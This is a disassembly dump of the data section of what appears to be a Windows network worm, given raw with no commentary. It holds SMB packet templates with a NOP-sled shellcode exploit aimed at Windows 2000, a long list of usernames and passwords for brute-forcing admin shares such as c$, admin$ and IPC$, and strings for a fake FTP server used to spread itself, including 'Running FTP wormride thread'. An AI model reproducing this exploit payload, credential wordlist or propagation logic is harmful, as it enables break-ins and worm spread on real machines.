5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 dd 0D7h, 1, 0 dd 1, 0 dd 0CBh, 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh dd 4 dup(90909090h), 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h dd 909008EBh, 767A1567h, 909008EBh, 1013C79h, 909008EBh dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh dd 4 dup(90909090h), 0 dd 7E0h, 4, 2 dup(0) aFb db 'fìÐ',7,0 align 10h dd 129F74h, 0 dd 127D78h, 0 dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h dd 401002D2h, 50403002h, 4104C031h, 0C628C228h, 6604E2C0h dd 3104EAC1h, 2F630C0h, 66032803h, 58431301h, 802C931h dd 61D5E0h, 77BD3143h, 7FCh, 0C0314301h, 7FC77h, 4F020100h dd 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix_0 ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_1 ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aGod ; "god" dd offset aDomain ; "domain" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aData ; "data" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC_0 ; "c$" dd offset aD ; "d$" dd offset aE_0 ; "e$" dd offset aCShared ; "c$\\shared" dd offset aDShared ; "d$\\shared" dd offset aEShared ; "e$\\shared" dd offset aCWinnt ; "c$\\winnt" dd offset aCWindows ; "c$\\windows" dd offset aCWinntSystem32 ; "c$\\winnt\\system32" dd offset aCWindowsSystem ; "c$\\windows\\system32" dd offset aAdminSystem32 ; "Admin$\\system32" dd offset aAdmin_0 ; "admin$" dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"... dd offset aPrint ; "print$" dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DE30 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aA_1 ; "a" dd offset aAb ; "ab" dd offset aAbc ; "abc" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aDba ; "dba" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1_0 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset aWork ; "work" dd offset aDeadline ; "deadline" dd offset aPayday ; "payday" dd offset aSecret ; "secret" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset aTest ; "test" dd offset aGuest ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix_0 ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_1 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin_0 ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aMoney ; "money" dd offset aLove ; "love" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_0 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aOwner ; "owner" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 ; DATA XREF: .data:0041BF5Co aBlank db 'blank',0 ; DATA XREF: .data:0041BF58o align 4 aXp_0 db 'xp',0 ; DATA XREF: .data:0041BF4Co align 4 aNokia db 'nokia',0 ; DATA XREF: .data:0041BF48o align 10h aHp db 'hp',0 ; DATA XREF: .data:0041BF44o align 4 aOrainstall db 'orainstall',0 ; DATA XREF: .data:0041BF28o align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0041BF24o align 4 aDb1234 db 'db1234',0 ; DATA XREF: .data:0041BF18o align 4 aDb2 db 'db2',0 ; DATA XREF: .data:0041BF14o aDb1 db 'db1',0 ; DATA XREF: .data:0041BF10o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0041BF0Co align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0041BF04o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0041BF00o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:0041BEFCo align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0041BEF0o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:0041BEECo align 4 aHello db 'hello',0 ; DATA XREF: .data:0041BEE4o align 10h aHell db 'hell',0 ; DATA XREF: .data:0041BEE0o align 4 aLove db 'love',0 ; DATA XREF: .data:0041BEDCo align 10h aMoney db 'money',0 ; DATA XREF: .data:0041BED8o align 4 aSlut db 'slut',0 ; DATA XREF: .data:0041BECCo align 10h aBitch db 'bitch',0 ; DATA XREF: .data:0041BEC8o align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0041BEC4o align 10h aExchange db 'exchange',0 ; DATA XREF: .data:0041BEC0o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .data:0041BEB4o align 4 aLogin_0 db 'login',0 ; DATA XREF: .data:0041BEB0o align 10h aQwe db 'qwe',0 ; DATA XREF: .data:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: .data:0041BE48o aAsd db 'asd',0 ; DATA XREF: .data:0041BE44o aQaz db 'qaz',0 ; DATA XREF: .data:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: .data:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: .data:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: .data:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: .data:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: .data:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: .data:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: .data:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:0041BE00o aSex db 'sex',0 ; DATA XREF: .data:0041BDFCo ; .data:0041BED0o aOutlook db 'outlook',0 ; DATA XREF: .data:0041BDECo aMail db 'mail',0 ; DATA XREF: .data:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .data:0041BDE0o aTemp db 'temp',0 ; DATA XREF: .data:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: .data:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: .data:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: .data:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: .data:0041BDB4o align 10h aTest db 'test',0 ; DATA XREF: .data:0041BDA8o align 4 a2005 db '2005',0 ; DATA XREF: .data:0041BDA4o align 10h a2004 db '2004',0 ; DATA XREF: .data:0041BDA0o align 4 a2001 db '2001',0 ; DATA XREF: .data:0041BD94o align 10h aSecret db 'secret',0 ; DATA XREF: .data:0041BD8Co align 4 aPayday db 'payday',0 ; DATA XREF: .data:0041BD88o align 10h aDeadline db 'deadline',0 ; DATA XREF: .data:0041BD84o align 4 aWork db 'work',0 ; DATA XREF: .data:0041BD80o align 4 a1234567890 db '1234567890',0 ; DATA XREF: .data:0041BD7Co align 10h a123456789 db '123456789',0 ; DATA XREF: .data:0041BD78o align 4 a12345678 db '12345678',0 ; DATA XREF: .data:0041BD74o align 4 a1234567 db '1234567',0 ; DATA XREF: .data:0041BD70o a123456 db '123456',0 ; DATA XREF: .data:0041BD6Co align 4 a12345 db '12345',0 ; DATA XREF: .data:0041BD68o align 10h a1234 db '1234',0 ; DATA XREF: .data:0041BD64o align 4 a123 db '123',0 ; DATA XREF: .data:0041BD60o a12 db '12',0 ; DATA XREF: .data:0041BD5Co align 10h a1_0: ; DATA XREF: .data:0041BD58o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .data:0041BD54o aPwd db 'pwd',0 ; DATA XREF: .data:0041BD50o aPass_0 db 'pass',0 ; DATA XREF: .data:0041BD4Co align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .data:0041BD48o align 10h aDba db 'dba',0 ; DATA XREF: .data:0041BD44o aPasswd db 'passwd',0 ; DATA XREF: .data:0041BD40o align 4 aPassword db 'password',0 ; DATA XREF: .data:0041BD3Co ; .data:0041D790o align 4 aPassword1 db 'password1',0 ; DATA XREF: .data:0041BD38o align 4 aAbc db 'abc',0 ; DATA XREF: .data:0041BD34o aAb db 'ab',0 ; DATA XREF: .data:0041BD30o align 4 aA_1: ; DATA XREF: .data:0041BD2Co unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .data:0041BD04o align 4 aPrint db 'print$',0 ; DATA XREF: .data:0041BD00o align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 ; DATA XREF: .data:0041BCFCo aAdmin_0 db 'admin$',0 ; DATA XREF: .data:0041BCF8o align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: .data:0041BCF4o aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: .data:0041BCECo align 10h aCWindows db 'c$\windows',0 ; DATA XREF: .data:0041BCE8o align 4 aCWinnt db 'c$\winnt',0 ; DATA XREF: .data:0041BCE4o align 4 aEShared db 'e$\shared',0 ; DATA XREF: .data:0041BCE0o align 4 aDShared db 'd$\shared',0 ; DATA XREF: .data:0041BCDCo align 10h aCShared db 'c$\shared',0 ; DATA XREF: .data:0041BCD8o align 4 aE_0 db 'e$',0 ; DATA XREF: .data:0041BCD4o align 10h aD db 'd$',0 ; DATA XREF: .data:0041BCD0o align 4 aC_0 db 'c$',0 ; DATA XREF: .data:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: .data:0041BCC4o ; .data:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .data:0041BCC0o ; .data:0041BF78o aOwner db 'owner',0 ; DATA XREF: .data:0041BCBCo ; .data:0041BF74o align 10h aStudent db 'student',0 ; DATA XREF: .data:0041BCB8o ; .data:0041BF70o aIntranet db 'intranet',0 ; DATA XREF: .data:0041BCB4o ; .data:0041BF6Co align 4 aLan_0 db 'lan',0 ; DATA XREF: .data:0041BCACo ; .data:0041BF64o aMain db 'main',0 ; DATA XREF: sub_416AC5+5o ; .text:00416AECo ... align 10h aOffice db 'office',0 ; DATA XREF: .data:0041BCA4o ; .data:0041BF54o align 4 aControl db 'control',0 ; DATA XREF: .data:0041BCA0o ; .data:0041BF50o aSiemens db 'siemens',0 ; DATA XREF: .data:0041BC9Co ; .data:0041BF40o aCompaq db 'compaq',0 ; DATA XREF: .data:0041BC98o ; .data:0041BF3Co align 10h aDell db 'dell',0 ; DATA XREF: .data:0041BC94o ; .data:0041BF38o align 4 aCisco db 'cisco',0 ; DATA XREF: .data:0041BC90o ; .data:0041BF34o align 10h aIbm db 'ibm',0 ; DATA XREF: .data:0041BC8Co ; .data:0041BF30o aOracle db 'oracle',0 ; DATA XREF: .data:0041BC88o ; .data:0041BF2Co align 4 aSql db 'sql',0 ; DATA XREF: .data:0041BC84o ; .data:0041BF20o aSa db 'sa',0 ; DATA XREF: .data:0041BC80o ; .data:0041BF1Co align 4 aData db 'data',0 ; DATA XREF: .data:0041BC7Co ; .data:0041BF08o align 4 aAccess db 'access',0 ; DATA XREF: .data:0041BC78o ; .data:0041BEF8o align 4 aDatabase db 'database',0 ; DATA XREF: .data:0041BC74o ; .data:0041BEF4o align 10h aDomain db 'domain',0 ; DATA XREF: .data:0041BC70o ; .data:0041BEE8o align 4 aGod db 'god',0 ; DATA XREF: .data:0041BC6Co ; .data:0041BED4o aBackup db 'backup',0 ; DATA XREF: .data:0041BC68o ; .data:0041BEBCo align 4 aTechnical db 'technical',0 ; DATA XREF: .data:0041BC64o ; .data:0041BEB8o align 10h aMary db 'mary',0 ; DATA XREF: .data:0041BC60o ; .data:0041BEACo align 4 aKatie db 'katie',0 ; DATA XREF: .data:0041BC5Co ; .data:0041BEA8o align 10h aKate db 'kate',0 ; DATA XREF: .data:0041BC54o ; .data:0041BEA0o align 4 aGeorge db 'george',0 ; DATA XREF: .data:0041BC50o ; .data:0041BE9Co align 10h aEric db 'eric',0 ; DATA XREF: .data:0041BC4Co ; .data:0041BE98o align 4 aNone db 'none',0 ; DATA XREF: .data:0041BC48o ; .data:0041BDB0o align 10h aGuest db 'guest',0 ; DATA XREF: .data:0041BC44o ; .data:0041BDACo align 4 aChris db 'chris',0 ; DATA XREF: .data:0041BC40o ; .data:0041BE94o align 10h aIan db 'ian',0 ; DATA XREF: .data:0041BC3Co ; .data:0041BE90o aNeil db 'neil',0 ; DATA XREF: .data:0041BC38o ; .data:0041BE8Co align 4 aLee db 'lee',0 ; DATA XREF: .data:0041BC34o ; .data:0041BE88o aBrian db 'brian',0 ; DATA XREF: .data:0041BC30o ; .data:0041BE84o align 4 aSusan db 'susan',0 ; DATA XREF: .data:0041BC28o ; .data:0041BE7Co align 10h aSue db 'sue',0 ; DATA XREF: .data:0041BC24o ; .data:0041BE78o aSam db 'sam',0 ; DATA XREF: .data:0041BC20o ; .data:0041BE74o aLuke db 'luke',0 ; DATA XREF: .data:0041BC1Co ; .data:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: .data:0041BC18o ; .data:0041BC2Co ... align 4 aJohn db 'john',0 ; DATA XREF: .data:0041BC14o ; .data:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: .data:0041BC10o ; .data:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: .data:0041BC0Co ; .data:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: .data:0041BC08o ; .data:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: .data:0041BC04o ; .data:0041BE58o aJen db 'jen',0 ; DATA XREF: .data:0041BC00o ; .data:0041BE54o aBob db 'bob',0 ; DATA XREF: .data:0041BBFCo ; .data:0041BC58o ... aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0041BBF8o ; .data:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .data:0041BBF4o ; .data:0041BE1Co aUser_1 db 'user',0 ; DATA XREF: .data:0041BBF0o ; .data:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .data:0041BBECo ; .data:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: .data:0041BBE8o ; .data:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: .data:0041BBE4o ; .data:0041BCB0o ... align 10h aWww db 'www',0 ; DATA XREF: .data:0041BBE0o ; .data:0041BDF4o aWeb db 'web',0 ; DATA XREF: .data:0041BBDCo ; .data:0041BDF0o aRoot db 'root',0 ; DATA XREF: .data:0041BBD8o ; .data:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: .data:0041BBD4o ; .data:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0041BBCCo ; .data:0041BDC0o align 10h aUnix_0 db 'unix',0 ; DATA XREF: .data:0041BBC8o ; .data:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: .data:0041BBC4o ; .data:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: .data:0041BBC0o ; .data:0041BD28o aAdmin db 'admin',0 ; DATA XREF: .data:0041BBBCo ; .data:0041BD24o align 10h aAdmins db 'admins',0 ; DATA XREF: .data:0041BBB8o ; .data:0041BD20o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0041BBB4o ; .data:0041BD1Co aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0041BBB0o ; .data:0041BD18o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0041BBACo ; .data:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0041BBA8o ; .data:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 135A78h align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 157728h dd 2 dup(0) a226 db '226 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+6F7o ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 146AF8h dd 2 dup(0) a213U db '213 %u',0Dh,0Ah,0 ; DATA XREF: sub_41113B+56Do align 4 dword_41C5F4 dd 1227B0h align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 0F6578h align 10h a425 db '425 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+3A3o dword_41C628 dd 0FED08h dd 2 dup(0) a200 db '200 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+34Do ; sub_41113B+4A6o dword_41C63C dd 128230h dd 2 dup(0) a257 db '257 "/" -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+2F7o dword_41C654 dd 1F738h dd 0 a211 db '211 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+2A1o dword_41C664 dd 1232B8h align 10h a215 db '215 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+24Bo dword_41C678 dd 124AF8h dd 2 dup(0) a230 db '230 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+1E1o dword_41C68C dd 0FECD8h dd 2 dup(0) a331 db '331 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+181o dword_41C6A0 dd 163AE8h dd 2 dup(0) dword_41C6AC dd 0A0D20h ; sub_41113B+115o ... a220 db '220 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+13o a230_0 db '230',0 ; DATA XREF: sub_411A09+193o aPass1 db 'PASS 1',0Dh,0Ah,0 ; DATA XREF: sub_411A09+11Do align 4 a331_0 db '331',0 ; DATA XREF: sub_411A09+F9o aUser1 db 'USER 1',0Dh,0Ah,0 ; DATA XREF: sub_411A09:loc_411A8Ao align 4 a220_0 db '220',0 ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 